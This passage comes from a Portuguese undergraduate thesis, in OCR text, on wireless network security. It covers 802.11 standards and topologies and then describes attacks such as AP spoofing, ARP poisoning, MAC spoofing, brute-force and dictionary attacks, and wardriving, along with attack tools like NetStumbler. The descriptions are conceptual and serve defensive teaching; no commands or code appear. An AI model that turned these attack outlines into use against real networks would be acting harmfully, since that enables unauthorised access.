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RESUMO

Os usudrios de Internet cada vez mais optam pelo uso das redes sem fio, buscando
comodidade e flexibilidade. As wireless podem ser encontradas tanto no meio corporativo
quanto no uso doméstico. A evolugdo da tecnologia voltada para dispositivos moéveis com
acesso a Internet foi quem deu grande estimulo para essa mudanca. Mas junto com os
beneficios encontrados muitos problemas também surgiram, como os dados trafegam pelo ar
muitas vulnerabilidades foram exploradas, trazendo problemas relacionados a seguranca das
informacdes. Neste trabalho foram realizados alguns testes, para verificar o desempenho da
seguranca das redes sem fio analisando as senhas utilizadas para protecao das redes. Algumas
informacdes sobre a criagdo de senhas seguras também foram descritas. A importancia das
politicas de seguranca nas organiza¢des também sao citadas, bem como a configuracdo bem
feita nos Access Points, utilizando todos os recursos disponiveis para assim tornar a rede

menos vulneravel.

Palavras-chave: Redes sem fio; Seguranca; Senhas.



ABSTRACT

The internet users more and more choose to use wireless networks, searching
comfort and flexibility. The wireless can be found as many as in the corporate
environment and in household. The evolution of technology directed to mobile
devices with Internet access was who gave great stimulus to this change. But
together with the benefit found many problems appeared also, like data travels
through the air many vulnerabilities were exploited, bringing problems related to
information security. We carried out some tests, to check the security performance
of wireless networks analyzing the passwords used to protect networks. Some
information about creating secure passwords were also described. The importance of
security policies in organizations are also quoted, well as the configuration done
well in Access Points, using all available resources to turn the network least

vulnerable.

Keywords: Wireless Networks, Security, Passwords.
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1 INTRODUCAO

A utilizacdo das redes sem fio estd em expansdo. Cada vez mais 0s usudrios
optam por este tipo de conexdo, buscando comodidade e flexibilidade, e como resultados
surgem novas tecnologias, acompanhadas com uma grande queda nos precos
(TANENBAUM, 1997).

Com a populariza¢do dos Notebooks, PDAs Personal Digital Assistants (PDAs),
celulares, entre outros, alguns estabelecimentos como bares, aeroportos, shoppings, estao
investindo na implantacdo de redes sem fio, para que seus clientes tenham acesso a
informacdo como se estivessem em casa, buscando a satisfacdo e a fidelizacio (KUROSE;
ROSS, 2006).

A facilidade na implantacdo desta rede em relacdo as cabeadas é um ponto
positivo para a instalacdo das mesmas. Sem a necessidade de passagem de cabos este modelo
acaba se tornando uma opg¢ao mais rdpida. A flexibilidade € outra vantagem encontrada, sendo
possivel alterar ou adicionar estagdes na rede sem a necessidade de modificar o cabeamento
(TANENBAUM, 1997).

Motivados pela facilidade de instalacio muitos empresdrios optaram pela
implantacdo dessas redes buscando maior rendimento e conforto para seus funcionarios,
porém as atencdes em relacdo a seguranca devem ser redobradas, pois muitos desses dados
que ficam disponiveis na rede sdo de grande importancia, e acabam ficando expostos a
ataques (HAYDEN, 1999).

O aumento da utilizagdo deste modelo de rede tornou os usudrios alvo de pessoas
mal intencionadas, onde estas buscam causar alguma instabilidade ao sistema, por exemplo, a

utilizacdo se senhas fracas, ou configuragdes mal feitas nos Access Points.
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Com essa mudanca cultural de acesso a Internet, é necessdrio conhecer as
vulnerabilidades e as formas de protec@o para as mesmas. Nao se alcanca a imunidade apenas
com o uso de antivirus e firewall. Uma forma bem comum que auxilia a protecdo € a ativacao
dos protocolos Wired Equivalent Privacy (WEP) e Wi-Fi Protected Access (WPA), no Access
Point (AP), uma vez que estes fazem a criptografia dos pacotes trafegados e assim aumentam
a confiabilidade dos dados, porém ainda ndo garantem a seguranca, problema como quebra da
criptografia podem ocorrer.

Assim este trabalho tem o objetivo de analisar e descrever as vulnerabilidades
existentes em redes sem fio, bem como instruir os usudrios na criacdo de senhas seguras, de
forma que este documento sirva para auxiliar os administradores de redes, e os demais
usudrios, € que contribua com os académicos do curso de Ciéncia da Computacdo, na

compreensdo e utilizacdo do material aqui produzido.

1.1 OBJETIVO GERAL

Analisar as vulnerabilidades existentes em redes sem fio, e mostrar uma forma de

protecdo por meio de senhas seguras.

1.2 OBJETIVOS ESPECIFICOS

Os objetivos especificos da pesquisa sdo os seguintes:

a) descrever sobre seguranca em redes sem fio;

b) descrever os métodos de seguranca para redes sem fio;

c) analisar e estudar as vulnerabilidades que uma rede esta sujeita;

d) estudar e aplicar os métodos de seguranca por meio de senhas confidveis.
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1.3 JUSTIFICATIVA

A necessidade de estar permanentemente online, a busca pela liberdade durante as
conexdes e a utilizacdo de equipamentos portdteis que possibilitam conexdo a Internet
impulsionaram o crescimento das redes sem fio exponencialmente (RISCHPATER, 2001).

Um grande problema encontrado pelos usudrios de networks wireless (rede sem
fio) € a seguranca. Com isso houve a necessidade do desenvolvimento de novos métodos
contra essas vulnerabilidades, porém acompanhando esta evolucdo novas ferramentas de
ataque sao desenvolvidas a cada dia, ameacando a integridade das informagdes. Para proteger-
se € necessario estar bem informado, identificar, analisar e utilizar ferramentas disponiveis
para protecao.

Os ataques a rede podem ser ativos e passivos. Ataques passivos invadem a rede,
porém ndo alteram seus dados, eles apenas monitoram e espionam o trafego de informacdes,
geralmente realizados por pessoas, sem inten¢do de fazer mal ao usudrio, fazem apenas por
esporte. Os ataques ativos trazem maiores prejuizos, alterando ou copiando dados das
transmissoes, geralmente sdo realizados por pessoas contratadas para descobrir alguma
informagao sigilosa visando lucros (HAYDEN, 1999).

Nao € possivel afirmar que existem redes completamente seguras, mas, no entanto
existem métodos para protecao disponiveis até mesmo gratuitamente, uma configuracdo bem
feita e uma senha bem elaborada podem trazer uma tranqiiilidade maior ao usudrio. Porém por
falta de informacdo ou até mesmo por acreditarem que nunca sofrerdo um ataque varios
usudrios acabam tendo suas redes invadidas por a¢des que poderiam ter sido evitadas.

Com o objetivo de apresentar e esclarecer formas de seguranca fundamentais para

0s usudrios, esta pesquisa analisard as vulnerabilidades em redes sem fio, a fim de fornecer
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informacdes necessdrias para a compreensdao do funcionamento destes ataques, e por outro
lado serdo apresentados métodos para criacao de senhas mais fortes para tornar uma rede sem

fio mais segura.

1.4 ESTRUTURA DO TRABALHO

Este trabalho € distribuido em seis capitulos voltados para ameacas e segurancas
em redes sem fio, sendo que o primeiro € constituido pela introdug@o que traz os objetivos e a
justificativa para a realizac¢do deste trabalho.

No segundo capitulo é encontrada uma abordagem sobre redes sem fios, algumas
de suas caracteristicas e os padrdes mais utilizados.

O capitulo trés trata das ameacas e vulnerabilidades encontradas neste tipo de
rede, nele sdo encontradas as principais ameacas e ferramentas utilizadas para atacar as
WLAN:E.

Os métodos de defesa sd@o encontrados no quarto capitulo. Neste sdo mostrados
algumas formas de protecdo e ferramentas para monitoramento de ataques a essas redes.

Os trabalhos correlatos, realizados por académicos desta e de outras universidades
podem ser vistos no capitulo cinco.

No sexto capitulo contém o trabalho desenvolvido, nele estdo as informacgdes
obtidas por meio dos testes préaticos com as senhas com o objetivo de testar o grau de
seguranca que elas fornecem.

O capitulo a seguir da inicio a fundamentagdo tedrica, parte essencial para a

concretizagdo do trabalho proposto trazendo algumas informagdes sobre redes sem fio.
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2 REDES SEM FIO

O crescimento das redes sem fio vem acontecendo de forma explosiva em todo
mundo. H4 algumas décadas a Internet era projeto de pesquisa, envolvia apenas dezenas de
sites. Porém, seu crescimento foi estonteante e se tornou instrumento essencial na vida das
pessoas, milhdes de sites ja existem fornecendo servicos e lazer para pessoas de todas as
partes do mundo (COMER, 2001).

Os usudrios desta ferramenta t€ém necessidade de informacdo e buscam cada vez
mais comodidade e flexibilidade, com isso houve um grande aumento na procura de
equipamentos mdveis, como resultado essas ferramentas se tornaram mais populares e de fécil
aquisicdo, porém para tornarem-se completamente portaveis ha a necessidade da utilizagao de
redes sem fio (TANENBAUM, 1997).

O aumento de ligagdes de computadores, notebooks, celulares, por meio de redes
contribuiu para o aumento das redes sem fio. Hoje € comum em escolas, aeroportos,
restaurantes, hotéis, disponibilizarem Wireless para facilitar o acesso das pessoas a Internet.
As redes domésticas cada vez mais vém conquistando seu espago, os usudrios buscam
interligar seus equipamentos ou distribuir o sinal por toda sua residéncia (NAKAMURA;
GEUS, 2003).

Segundo Tanenbaum (1997) a fécil instalacdo, sem a necessidade de passagens de
fios, muitas vezes por locais onde a estrutura ndo permite essa acdo, € um motivo que

favorece a expansao desta tecnologia.
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2.1 FREQUENCIAS DE TRANSMISSAO

As Wireless trafegam suas informagdes por meio de ondas eletromagnéticas,
quebrando as barreiras dos fios e cabos. Estas ondas sdo faceis de criar, percorrem longas
distancias e penetram os ambientes fechados (COMER, 2001).

Essas ondas sdo geradas a partir da movimentacdo dos elétrons, onde as
oscilagdes delas sdo chamadas de freqiiéncia, medidas em Hertz (Hz), e o conjunto destas é

chamado de espectro eletromagnético, conforme a Figura 1 (TANENBAUM, 1997).
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Figura 1. Espectro eletromagnético e a maneira de como ele € usado na comunicagao
Fonte: Adaptado de TANENBAUM, A. S. (1997, tradu¢do nossa)

Segundo Soares, Lemos e Colcher (1995) as transmissdes sem fio normalmente
usam freqii€ncias altas, porém deve-se ter atencdo com a existéncia de interferéncia,

provocada por fontes que geram sinais na mesma freqiiéncia da rede.
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2.2 ARQUITETURA DO PROTOCOLO IEEE 802.11

Todas as atividades realizadas pelo protocolo IEEE 802.11 acontecem na camada
fisica e na camada de enlace, mostrada na Figura 2, mais especificamente na subcamada
MAC. As outras camadas controlam outros fatores como enderegcamento, integridade, formato
dos dados, ndo interferindo se a transmissao esta sendo realizada por meio de cabos ou por

uma rede sem fios (ANDRADE, 2004).

APLICACAO
APRESENTACPLO
SESSAOQ
TRANSPORTE
REDE

Controle de enlace logico (Lagical Link Control — LLC) Camada de

__________________ '______________ enlace de

Subcamada dados
MAC

f,?;,;l.l 80211 802.11 802.11a 802.11b 80211z Camada
vermelho | pyss DSSS OFDM HR.DSSS | OFDM )

Figura 2. Pilha de Protocolo IEEE 802.11
Fonte: Adaptado de TANENBAUM, Andrew S. (2003, traduc@o nossa).

O padrao 802.11 lancado em 1997 utilizava os recursos de modulacdo Frequency
Hopping Spread Spectrum (FHSS) e Direct Sequence Spread Spectrum (DSSS). Ja em 1999
novas técnicas de modulacdo de sinal foram desenvolvidas, sendo elas, Orthogonal
Frequency Division Multiplexing (OFDM) e Hight Rate Direct Sequence Spread Spectrum

(HR-DSSS).

2.2.1 Modulacao de Sinal FHSS

O Frequency Hopping Spread Spectrum (FHSS) ou espectro de dispersdao de

saltos de freqiiéncia, utiliza 79 canais, comecando na extremidade baixa da banda Industrial



25

Scientific and Medical (ISM) de 2,4 GHz, cada um contém 1 MHz de largura. A seqiiéncia de
freqii€ncia de saltos € definida por meio de um gerador de saltos aleatérios, que sdo definidos
por um gerador de nimeros pseudoaleatorios, onde cada um desses nimeros corresponde a
uma freqii€éncia, como mostra a Figura 3. A randomizag¢do oferece seguranga, pois um invasor
que ndo conhece a seqiiéncia dos saltos ndo podera espionar as transmissoes (TANENBAUM,
2003).

Este tipo de modulacdo apresenta bom desempenho quando realizado em longas

distancias. Sua principal desvantagem € a baixa largura de banda.
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Figura 3. Modulac¢do de Sinal FHSS
Fonte: MALBURG (2004).

2.2.2 Modulacao de Sinal DSSS

Este método de modulacao, o espectro de dispersao de seqiiéncia direta, da mesma
forma que o FHSS utiliza banda ISM de 2,4 GHz. A modulagdo deste € realizada por meio de
quebra de seqii€éncia conhecida como cdédigo de Barker.

O cddigo de Barker consiste em substituir cada bit de valor 1 (um) por uma
seqiiéncia de bits, e o bit de valor 0 (zero), pela seqiiéncia oposta. Com essa redundéncia de
valores fica muito mais facil de corrigir e controlar erros ocorrentes nas transmissoes.

O DSSS ¢€ utilizado no padrdo IEEE 802.11b e € menos vulnerdvel a ruidos e

ataques. A Figura 4 estd apresentado o funcionamento da modulagdo de sinal DSSS.
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Figura 4. Modulacdo de Sinal DSSS
Fonte: Kioskea.net (2009).

2.2.3 Modulacao de Sinal OFDM

A multiplexacdo ortogonal por divisdo de freqiiéncia pode transmitir até 54 Mbps
na banda ISM mais larga, de 5 GHz. Sao utilizadas 42 freqiiéncias para dados e 4 para
sincroniza¢do. Uma melhor imunidade a interferéncia € alcancada por meio da divisdo de uma
banda larga em varias bandas estreitas (TANENBAUM, 2003).

Essa técnica tem boa eficiéncia de bits/Hz e boa imunidade em longas distancias
utilizando vérios caminhos. Sendo esta modulagdo utilizada pelo IEEE 802.11a.

A Figura 5 mostra a técnica de modulagdo OFDM.
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Figura 5. Modulacdo de Sinal OFDM
Fonte: Adaptado de HOADLEY, John. (2005, traducio nossa).
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2.2.4 Modulacio de Sinal HR-DSSS

A modulacdo High Rate Direct Sequence Spread Spectrum (HR-DSSS) € uma
versao derivada da modulagao DSSS, foi criada com a inten¢do de aumentar a velocidade de
transmissdo. Nela sao utilizados 11 milhdes de chips para alcangar 11 Mbps na banda de 2,4
GHz. As taxas de dados admitidos s@o 1, 2, 5, 11, Mbps e podem ser adaptadas durante a
operacdo para alcancar a melhor velocidade sob as condi¢des atuais de carga e ruido. Este tipo

de modulagao € utilizado no padrao IEEE 802.11b (TANENBAUM, 2003).

2.3 PADROES PARA REDES SEM FIO 802.11

O sinal sem fio trafega por meio de ondas de rddio, porém muitos outros meios de
transmissdo usam este método, com isso existem riscos de interferéncia nas transmissoes
(PETERSON; DAVIE, 2004).

Com o objetivo de evitar que estes danos prejudicassem as transmissdes 0s sinais
de radiofreqiiéncia foram divididos em faixas, geralmente por sua categoria de servigos, e
definidos por 6rgaos regulamentadores ou padrdes internacionais (COZER, 2000).

Este tipo de sinal existe hd muitos anos, porém no inicio os equipamentos
comercializados ndo respeitavam um padrdo tornando mais dificil a comunicacdo entre
equipamentos, e obrigando o cliente a utilizar sempre a mesma marca para ndo ter problemas.

Os padroes de redes sem fio mais conhecidos foram criados pelo Institute of
Electrical and Electronics Engineers (IEEE), instituto muito respeitado, criador de padrdes
utilizados por outros tipos de redes. O IEEE foi eleito para crid-los a partir da década de 90.

Em 1997 baseado em regras existentes foi lancado o IEEE 802.11, com normas

especificas para as redes sem fios, buscando aumento na confiabilidade de transmissao,
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qualidade de sinal e padronizacdo de equipamentos (COSTA, 2009). Como caracteristica

possuia taxa de transmissdo de 2 Mbps e freqiiéncia de 2,4 GHz (SILVA, 2006).

Na Tabela 1, € possivel visualizar as extensdes existentes ao padrao IEEE 802.11,

um breve resumo sobre suas caracteristicas e seu estado no momento (FREITAG, 2004).

Tabela 1. Extensoes do Padrao IEEE 802.11

Extensao Descricao Estado
802.11 Padréao original que oferece taxas de 1 e 2 Mbps. Aprovado em 1997
802.11a Extensao para prover 54 Mbps na banda 5 GHz. Aprovado em 1999
802.11b Extenséao para prover 11 Mbps na banda 2.4 GHz. Aprovado em 1999
802.11d Modificagdes para atender a regulamentacao Aprovado em 2001
internacional.
802.11e Extenséo a camada MAC para prover QoS. Em debate
802.11f Recomendacgbes para comunicacao entre PAs. Fase final
802.11¢g Extenséao para prover 54 Mbps na banda 2.4 GHz. Fase final
802.11h Extenséo ao 802.11a para atender a regulamentagéao na Fase final
Europa.

802.11i Extensdo para aumentar a seguranca. Em debate
802.11j Modificagdes para atender a regulamentagao no Japao. Fase inicial
802.11k Sistema de gerenciamento da WLAN. Fase inicial
802.11m Reviséo e re-edicdo do padréo existente em andamento. Em andamento
802.117 Padréo para prover taxas acima de 100 Mbps. Em andamento

Fonte: Adaptado de FREITAG, J. (2004)

Nos préximos itens serd apresentado um pouco sobre as caracteristicas dos sub-

padrées da IEEE 802.11 mais conhecidas: 802.11b, 802.11a, 802.11g, 802.11i, 802.11n

(COSTA, 2009).

2.3.1 IEEE 802.11b

Este foi o primeiro sub-padrio lancado, especificado em 1999, tendo como

velocidade maxima de transmissdo 11 Mbps, mas também podendo se comunicar com

velocidades mais baixas utilizando a banda de 2,4 GHz (JUNIOR, 2008).
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Por trabalhar em uma faixa mais baixa tem como desvantagem a interferéncia de
outros dispositivos que usam a mesma faixa. Neste padrdo sdo permitidos conexdes para 32
clientes por AP (COSTA, 2009).

Mesmo contendo algumas desvantagens, o padrao IEEE 802.11b esta classificado
como o mais popular, com uma tecnologia simples e de baixo investimento, para clientes que

buscam mobilidade e locais onde nao ha viabilidade para passagem de cabos (COZER, 2006).

2.3.2 IEEE 802.11a

Esta foi a segunda versao langada do padrao 802.11, tem freqii€éncia de 5,8 GHz,
porém sua area de alcance € menor. Neste padrdo sdo aceitos 64 clientes conectados por AP,
sua modulacdo consiste em 12 canais sobrepostos que permite uma melhor cobertura de areas
mais povoadas (COSTA, 2009). Sendo que sua seguranca € baseada no protocolo WEP de
256 bits (COZER, 2006).

O diferencial do padrao IEEE 802.11a esta relacionado ao desempenho, sendo que
esta pode alcancar uma taxa de transferéncia de 54 Mbps, cinco vezes mais rdpida que o
padrao IEEE 802.11b (ANDRADE, 2004).

Porém, mesmo com as mudangas realizadas alguns problemas ainda foram
encontrados, como por exemplo, a incompatibilidade com outros dispositivos, pois opera em

faixa de 5 GHz (JUNIOR, 2008).

2.3.31IEEE 802.11g

O mais recente padrio para redes sem fio, surgindo como o sucessor do padrao

IEEE 802.11b (SOUZA, 2005).
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Utilizando a banda ISM de 2,4 GHz permite que equipamentos dos padroes IEEE
802.11 e IEEE 802.11b sejam compativeis, tornando menos traumatica e mais econdmica a
migracdo entre os padrdes. Porém nao é compativel entre equipamentos de outras marcas
(RUFINO, 2005).

Este padrdo usa a modulacdo Orthogonal Frequency Division Multiplexing

(OFDM) com uma taxa de transmissao de 54 Mbps (FREITAG, 2004).

2.3.4 IEEE 802.11i

Segundo Costa (2009) este padrdo se destaca pela busca da seguranca e a
autenticacao dos dados por meio dos protocolos de seguranca Robust Security Network (RSN)
e Wi-Fi Protected Access (WAP), que foi criado para ter um melhor desempenho que o até

entdo existente WEP.

2.3.5IEEE 802.11n

O padrao IEEE 802.11n se destaca pela velocidade que pode chegar a 500 Mbps.
Nao tem grandes novidades em relagdo a seguranca, seu diferencial esta na ampliacdo da drea
de cobertura (JUNIOR, 2008).

Esta expansao da cobertura pode se tornar um problema, pois aumenta a drea

vulnerdvel a ataques da rede.

2.4 TOPOLOGIA DE REDES WIRELESS

A topologia é um mapa da rede, sendo o posicionamento dos computadores e dos

equipamentos definidos por meio da topologia fisica. Um planejamento mal feito de uma rede
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pode trazer posteriormente gastos desnecessdrios e comprometer o desempenho dos recursos
oferecidos.
As redes sem fio levam como critério de organizac¢do dois modos distintos, o Ad-

Hoc e a Infra-Estrutura.

2.4.1 Rede Ad-Hoc

O modo Ad-Hoc € utilizado em redes que ndo possuem uma estrutura
estabelecida, e nao impde limite maximo de equipamentos conectados a ela. Esse modo nao
disponibiliza conexdo via cabo e todos os equipamentos podem se comunicar entre si
(ALVES, 2009).

Este tipo de rede vem sendo estudada com mais freqiiéncia, isso acontece devido
sua facil instalagdo, grande mobilidade, e facil conexdo do usudrio, j& que este pode se
conectar desde que o sinal esteja a seu alcance (ANDRADE; COLLI, 2003).

Porém ainda contém algumas falhas, como a velocidade que ainda € baixa, a
seguranca, a administracdo e o gerenciamento da rede, que ainda precisam ser melhorados
(ALVES, 2009).

A Figura a 6 mostra o funcionamento e a estruturacdo da topologia Ad-Hoc.
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Figura 6. Rede Ad-Hoc
Fonte: (ALVES, 2009).
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2.4.2 Rede Infra-Estrutura

O modo infra-estrutura nao permite que os equipamentos se comuniquem entre si
diretamente, essa troca de informagdes € feita por um Access Point, que facilita o controle da
rede, pois isso pode ser feito em apenas um local (ALVES, 2009).

Algumas vantagens podem ser encontradas nesse tipo de estrutura, a facilidade de
interligacdo de redes sem fio e redes cabeadas existentes, controle e configuracdo das
conexoes feitas em um unico local, facilitando assim o controle e gerenciamento da rede.

A estruturacdo de uma rede infra-estruturada pode ser observada na Figura 7.
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Figura 7. Rede Infra-Estruturada
Fonte: (PEREIRA, 2009).

Em um comparativo entre os dois tipos de topologia de rede podem ser

encontradas vdrias diferencas, que serao descritos na Tabela 2:



33

Tabela 2. Comparativo entre Rede Ad-Hoc e Rede Infra-Estruturada

Caracteristica Ad-Hoc Infra-Estrutura
Alcance de sinal Por n&o possuir uma estrutura bem Mantém uma estabilidade maior na
definida, pode ter perda de sinal de forma intensidade do sinal, ja que seu alcance
brusca conforme a distancia do acesso. pode ser definido por configuragdo no
concentrador.
Seguranca Nao possui seguranga de forma Possui um nivel de seguranga considerado

significativa, por ndo ter estruturagao e razoavel, ja que suas definicdes podem ser

nem controle de acesso. feitas de forma geral diretamente no

Tem uma alta taxa de erros. Access Point.

Para uma instalagdo bem sucedida

Instalagao Facil instalagao, ja que este tipo de rede
necessita de um estudo do ambiente e de

nao necessita de uma infra-estrutura

previamente instalada. um planejamento da rede.

A constante troca de conexdes faz que  As redes infra-estruturadas tém um controle

Tolerancia a
falhas ao perder a conexao com um ponto, maior de falhas, pois qualquer agao a ser
possa ser conectado outro sem maiores realizada deve ter uma autorizagéo do
problemas, desde que esse esteja concentrador.
disponivel.

Conectividade A comunicagao entre dois pontos ou mais A comunicagao entre dois pontos s ocorre

pode acontecer diretamente, desde que por meio da estagao de suporte a

estes estejam dentro da area de mobilidade.

cobertura da rede.

Fonte: Adaptado de ANDRADE, M; COLLI, R (2003).

Algumas vulnerabilidades existentes em redes sem fio podem ser observadas no

capitulo a seguir, onde sdo descritos alguns ataques comuns e ferramentas que podem ser

utilizadas para que esses sejam executados.
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3 VULNERABILIDADES EM REDES SEM FIO

Este modelo de rede exige de seus usudrios um cuidado maior que as cabeadas,
por terem um alcance maior e transmitirem seus dados com sinais via radio por meio do ar,
acabam sofrendo os mesmos ataques encontrados nas redes cabeadas e alguns especificos
foram inseridos (ANDRADE, 2004).

Apesar de os usudrios estarem cada vez mais preocupados com a segurancga de
suas informacoes, e os fabricantes investirem cada vez mais em novas tecnologias para deixar
seus equipamentos mais seguros, a realidade € que nao existem redes completamente seguras,
mas sim redes mais protegidas e dificeis de atacar (COZER, 2006).

Segundo Duarte (2003) uma rede sem fio deve levar em conta alguns fatores
fundamentais para um bom funcionamento:

a) confiabilidade: proteger a informagao de acessos nao autorizados;

b) disponibilidade: garantir a disponibilidade de recursos e informacdes;

c¢) integridade: evitar que mudancas sejam feitas em documentos sem permissao;

d) usabilidade: impedir que um recurso ou servi¢co tenha sua utilidade distorcida

ou prejudicada devido a restri¢des de segurancga.

Alguns tipos de vulnerabilidades sdo descritos na Tabela 3.

Tabela 3. Tipos de Vulnerabilidades

Tipos Descricao
Fisicas InstalagGes fora de padréo, falta de estrutura, incéndios, alagamentos e outros
Naturais Qualquer estrago realizado por for¢ca da natureza, enchentes, vendavais e outros.
Hardware Falha em recursos tecnolégicos, por falha ou ma utilizacao.
Software Instabilidade nos dados por ma instalagao ou configuragao indevida.
Midias A perda ou danificacdo do dispositivo de armazenamento de dados.
Comunicacao Acesso ndo autorizado ou perda de comunicagao.
Humano Problemas causados por erros de usuarios, vandalos, roubo entre outros.

Fonte: Adaptado de SEMOLA, Marcos (2003).
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3.1 ATAQUES A REDES SEM FIO

Os ataques as redes sem fio geralmente ocorrem quando uma vulnerabilidade é
explorada, juntamente com alguma falha nos fatores fundamentais da rede, como integridade
e confiabilidade (COSTA, 2009).

As Wireless sdo o maior alvo de ataques maliciosos da atualidade, pois com o
grande nimero de usudrios ocorreu o aumento do interesse sobre os dados que trafegam
nestas redes, sendo estas empresariais ou até mesmo domésticas (GIMENES, 2005).

Segundo o Centro de estudos, resposta e tratamento de incidentes de seguranca no
Brasil (2009) é assustador o aumento nos ataques a redes no Brasil. A Figura 8 mostra a

evolucdo dos incidentes reportados ao CERT.br de 1999 até junho de 2009.
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Figura 8. Incidentes reportados ao CERT.br no periodo de 1999 até marco de 2010
Fonte: (CERT.br, 2010)
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3.2 AMEACAS A REDES SEM FIO

As ameacas sdo todas as agdes que podem por em risco as informagdes que
trafegam na rede. Uma forma de garantir a integridade da informacdo e combater ataques
maliciosos € impedindo que as vulnerabilidades existentes na rede sejam exploradas
(MAIOR; SANTOS; LACQUA, 2006).

A qualquer momento uma ameaca pode se concretizar por meio de alguma falha
existente na rede, e de acordo com o impacto que esta acdo pode causar ela pode ser
classificada. Segundo Maior, Santos e Lacqua (2006) elas sdo classificadas em trés grupos:

a) naturais: causadas por condi¢cdes da natureza, que podem ocasionar na
destruicdo de itens que compdem a rede. Por exemplo: incéndios, enchentes,
terremotos, vendavais, entre outros;

b) involuntdrias: acontecem por acaso, sem consciéncia, na maioria das vezes por
falta de conhecimento do usudrio. Por exemplo: exclusio de arquivos
importantes, e outros erros acidentais;

¢) intencionais: ocasionadas por pessoas com o objetivo de prejudicar quem estd
sendo atacado. Por exemplo: sabotagens, fraudes, roubos de informacdes,
invasdes, entre outras acdes que podem prejudicar a integridade da rede;

Algumas ameacas que merecem destaque, por serem mais evidentes, serdo citadas

a seguir.

3.2.1 Access Point Spoofing (Associacio Maliciosa)

A Associagdo Maliciosa ocorre quando um atacante mal intencionado se passa por

um Access Point, induzindo o usudrio a se conectar na intencdo de estar realizando uma
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conexdo com uma Wireless Local Area Network (WLAN) real. Com a ajuda de um software,
como o FakeAP, o atacante é capaz de enganar um sistema, mostrando um dispositivo de rede

padrao como um ponto de acesso (DUARTE, 2003).

3.2.2 ARP Poisoning

O ataque de envenenamento do protocolo de resolu¢do de enderegos Address
Resolution Protocol (ARP) ocorre na camada de enlace de dados e s6 pode ocorrer quando o
usudrio e o atacante estdo conectados na mesma rede local. As redes conectadas por
roteadores e gateways estdo imunes a este ataque, porém as redes conectadas por hubs,
switches e bridges sao vulnerdveis (ANDRADE, 2004).

O ARP Poisoning, que pode ser vista na Figura 9, é um ataque que tem origem
nas redes cabeadas, que redireciona o trafego para o impostor via falsificacdo/personificacio

do endereco MAC (LACERDA, 2007).

POOPOERRE R el

e ———

]

Figura 9. ARP Poisoning em redes guiadas
Fonte: (DUARTE, 2003).
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3.2.3 MAC Spoofing

Os dispositivos sem fio possuem a particularidade de permitir a troca de endereco
fisico, assim atacantes mal intencionados alteram o endereco da placa de rede, pelo do
atacado e utilizam a rede (LACERDA, 2007). O endere¢co MAC do usuério atacado pode ser
capturado por meio de Eavesdropping & Espionage, tendo em maos este endereco o atacante

pode usufruir da rede e de todos seus recursos (DUARTE, 2003).

3.2.4 Ataques de Negativa de Servicos

Este tipo de ataque também conhecido por Denail of Service (D.o.S), como o
préprio nome diz, € utilizado por pessoas mal intencionadas para impedir que os usudrios
possam acessar alguns recursos existentes na rede (DUARTE, 2003).

Estes ataques podem ser disparados em qualquer lugar dentro da cobertura da
WLAN, as redes que utilizam IEEE 802.11b ou IEEE 802.11¢g por utilizarem freqiiéncia de
2,4 GHz podem sofrer ataques com mais facilidade por estarem na faixa de freqiiéncia de
equipamentos como forno microondas e celulares, estes equipamentos podem interferir no

acesso por meio de inser¢do de ruidos (DUARTE, 2003).

3.2.5 Ataques de Vigilancia

Também conhecido como WLAN Scanner, este tipo de busca nio é considerado

um ataque, dependendo da finalidade desta invasdo pode se tornar um ataque com efeitos

negativos de grandes dimensdes (DUARTE, 2003).
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Este ataque é realizado quando uma pessoa sai em busca de WLANSs disponiveis
no ambiente de seu interesse, podendo ser na sua cidade, universidade, ou empresa. Para esta
busca ndo hd a necessidade de possuir nenhum dispositivo especial, apenas possuir um
dispositivo com acesso sem fio (GIMENES, 2005).

Apés este periodo de investigacdo, as redes sem fio encontradas podem ser
testadas ou atacadas em um préximo momento, onde os dados de sua configuracdo de

seguranca serdo analisados e possivelmente roubados (GIMENES, 2005).

3.2.6 Ataques de Forca Bruta

E uma ameaca que consegue quebrar a senha de seguranca por meio de vdrias
tentativas, usando senhas de forma dedutiva até que a verdadeira seja descoberta. Vérias
ferramentas existem para que os administradores das redes possam constatar a solidez das
senhas aplicadas, mas grande parte dos usudrios desta ferramenta sao pessoas ndo autorizadas

que tentam ingressar na rede.

3.2.7 Ataques de Dicionario

Este ataque € realizado quando o atacante pega os dados de um diciondrio ja
existente e compara com o arquivo de senhas do usudrio até que consiga desvendar a senha
ativa na rede. Existem ferramentas que testam as opcdes individualmente e também realiza
combinagdes para obter um nimero maior de possibilidades.

O ataque de diciondrio é mais eficaz que os de forca bruta, principalmente em
casos de senhas mais longas, onde o tempo para testar as seqiiéncias possiveis se tornar

inviavel.
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3.2.8 Eavesdropping & Espionage

O objetivo desta ameaga € capturar e analisar os dados que trafegam na rede e
utiliza-los em futuros ataques. O funcionamento nas redes sem fio € muito parecido com o das
guiadas, sendo que nesta o atacante necessita estar ligado diretamente a uma maquina da rede
que serd atacada, jd nas WLANSs isso ndo € necessdrio tornando esse ataque muito mais

simples.

3.2.9 Wardriving

O Wardriving € bem semelhante ao ataque de vigilancia, sendo que este utiliza
equipamentos geralmente Global Positioning System (GPS) para realizar a busca de redes sem

fio no territério escolhido (LACERDA, 2007).

3.2.10 Warchalking

Com a identificagdo de redes realizadas com técnicas de Wardriving, o atacante
marca em muros ou calgadas os pontos em elas estdo disponiveis para um futuro ataque. Estas
marcas sdo feitas por meio de c6digos com intuito de manté-las em segredo.

Na Figura 10 é possivel visualizar o simbolos utilizados nas marcacdes. Sendo
que o desenho de dois semicirculos significa que a rede é vulnerdvel, um circulo completo
significa que naquele local se encontra uma rede fechada, ja o dltimo com um W dentro do
circulo fechado significa que a rede é fechada e protegida com criptografia WEP. O Service
Set Identifier (SSID) encontra-se na parte superior e a largura da banda é mostrada abaixo

dele.
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ssid ssid ssid  access
C O @ contact
bandwidth bandwidth
open node closed node WEP node

Figura 10. Sfmbolos de warchalking
Fonte: Adaptado de Pinheiro, José Mauricio Santos (2004)

3.3 FERRAMENTAS PARA ATAQUES

Vérias ferramentas foram criadas para utilizacdo em redes sem fio. Essas
ferramentas podem ser utilizadas tanto para o bem quanto para o mal, elas podem realizar
monitoramento ou quebra de chaves em redes sem fio. Essas podem ser classificadas em trés
categorias: scanners (detectam redes para futuros ataques), sniffers (capturam e analisam o
trafego da rede) e crackers (realizam quebra de chaves) (DIAS NETO, 2006). A seguir serdo

descritas algumas delas.

3.3.1 NetStumbler

Este € o tipo mais conhecido de scanner em WLANSs (redes sem fio). Segundo
Dias Neto (2006), esta ferramenta utilizada em ambiente Windows inclui muitas
